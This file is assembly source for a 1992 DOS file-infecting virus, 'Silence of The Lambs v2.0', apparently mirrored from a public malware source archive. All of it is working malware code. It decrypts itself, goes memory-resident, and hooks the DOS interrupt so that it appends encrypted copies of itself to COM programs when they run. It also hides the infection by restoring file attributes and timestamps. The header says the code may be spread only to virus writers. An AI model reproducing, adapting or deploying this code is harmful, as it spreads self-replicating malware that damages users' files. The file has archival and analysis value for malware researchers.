mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
322 lines
6.6 KiB
NASM
322 lines
6.6 KiB
NASM
; Silence of The Lambs v2.0
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; (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992
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;
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; THIS FILE IS FOR EDUCATION PURPOSES ONLY!
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; PERMISSION IS GRANTED TO SPREAD THE SOURCE
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; TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE
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; ANY MODIFYCATIONS, UNLESS YOU ALSO INCLUDE
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; THE ORIGINAL SOURCE.
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;
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; Assemble With A86
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;
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org 100h
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jmp short dummy1
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db 'DY'
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dummy1:
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mov cx,length
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mov si,offset enc_start
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mov ah,0
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enc_key equ $-1
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dummy2:
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sub byte [si],ah
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inc si
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add ah,0
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enc_add equ $-1
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loop dummy2
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enc_start:
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mov ah,2Dh
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mov ch,0FFh
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mov dx,cx
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int 21h
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cmp al,0FFh
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jne nomore
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mov ax,cs
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dec ax
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mov ds,ax
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cmp byte [0],'Z'
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jne nomore
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mov ax,word [3]
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sub ax,pgfsize
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jc nomore
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sub word [3],pgfsize
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sub word [12h],pgfsize
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mov es,word [12h]
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mov si,110h
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mov di,100h
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mov cx,total
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cld
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rep movsb
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xor ax,ax
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mov ds,ax
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mov si,84h
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mov di,old21
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movsw
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movsw
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cli
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mov word [84h+2],es
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mov word [84h],offset ni21
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sti
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nomore:
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push cs
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push cs
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pop es
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pop ds
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mov bx,0000h ;return control to the
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eof equ $-2 ;end user
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jmp bx
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xclose: jmp close
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infect:
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push cs
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pop ds
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push cs
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pop es
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db 0E4h,40h
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mov byte [enc_key],al
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mov ax,4300h ;use CHMOD to get file attr
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xor dx,dx
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int 21h
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mov [0F0h],cx ;store attr in PSP
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mov ax,4301h ;clear file attr with CHMOD
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xor cx,cx
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int 21h
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mov ax,3D02h ;open file for read / write
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int 21h
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xchg bx,ax
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lahf
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push ax
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mov ax,5700h ;get file date & time
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int 21h
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mov [0F2h],cx
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mov [0F4h],dx
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pop ax
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sahf
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jc xclose
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mov ah,3Fh ;read from file
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mov cx,total
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mov dx,old
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int 21h
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cmp byte [old+0],'M' ;exe MZ ?
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je xclose
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cmp byte [old+0],'Z' ;exe ZM ?
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je xclose
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cmp word [old+2],'YD' ;allready infected?
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je xclose
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mov ax,4202h ;lseek to EOF
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xor cx,cx
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xor dx,dx
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int 21h
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cmp ah,0FAh
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jae xclose
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cmp ah,4
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jb xclose
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add ax,total+100h
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mov word [00F6h],ax
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mov ah,40h ;write to EOF
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mov cx,total
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mov dx,old
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push cx
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mov al,byte [enc_key]
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mov si,dx
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enc_app:
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xor byte [si],al
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inc si
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loop enc_app
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pop cx
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int 21h
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mov ah,40h ;write to EOF
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mov cx,applen
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mov dx,offset append
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int 21h
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mov ax,4200h ;lseek to beginning of file
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xor cx,cx
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xor dx,dx
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int 21h
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push [eof]
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mov ax,word [00F6h]
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mov [eof],ax
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mov ah,byte [enc_key]
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db 0E4h,40h
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mov byte [enc_add],al
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mov dl,al
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mov si,100h
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mov di,old
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cld
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mov cx,offset enc_start-100h
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rep movsb
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mov cx,length
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enc:
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lodsb
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add al,ah
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stosb
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add ah,dl
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loop enc
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mov ah,40h ;write viral code
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mov dx,old
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mov cx,total
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int 21h
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pop [eof]
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close:
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mov ax,5701h
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mov cx,[00F2h]
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mov dx,[00F4h]
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int 21h
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mov ah,3Eh ;close file
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int 21h
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mov ax,4301h
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mov cx,[00F0h]
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xor dx,dx
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int 21h
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ret
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append:
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call $+3 ;replace org bytes
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pop si
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sub si,3+total
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mov di,100h
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mov cx,total
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mov ah,byte [enc_key]
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append_enc:
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lodsb
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xor al,ah
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stosb
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loop append_enc
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mov ax,100h ;return IP to 100h when done
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push ax
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sub ax,ax ;zero regs
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xor bx,bx
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and cx,cx
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sub dx,dx
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xor si,si
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and di,di
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sub bp,bp
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ret
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applen equ $-offset append
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ni21:
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pushf
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cmp ah,2Dh
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jne Not_Time
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cmp ch,0FFh
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jne Not_Time
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cmp ch,dh
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jne Not_time
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mov Al,0
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popf
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iret
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Not_Time:
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cld
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push es
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push ds
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; cmp ah,41h
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; jne Not_Parse
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; mov ah,3Ch
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; cli
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; add sp,18
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; sti
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; popf
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; jmp old21-1
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Not_Parse:
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cmp ax,4B00h
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jne Not_Exec
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mov si,dx
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push cs
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pop es
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xor di,di
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mov cx,128
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rep movsb
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mov ax,3524h
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int 21h
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push es
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push bx
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push cs
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pop ds
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mov ax,2524h
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mov dx,offset ni24
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int 21h
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call infect
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pop dx
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pop ds
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mov ax,2524h
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int 21h
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Not_Exec:
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pop ds
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pop es
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pop bp
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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jmp far 0000:0000
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old21 equ $-4
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ni24: mov al,0
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iret
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db 'The Silence Of The Lambs!$'
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total equ $-100h ;size
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pgfsize equ (($*2)/16)+2
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length equ $-offset enc_start
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old equ $
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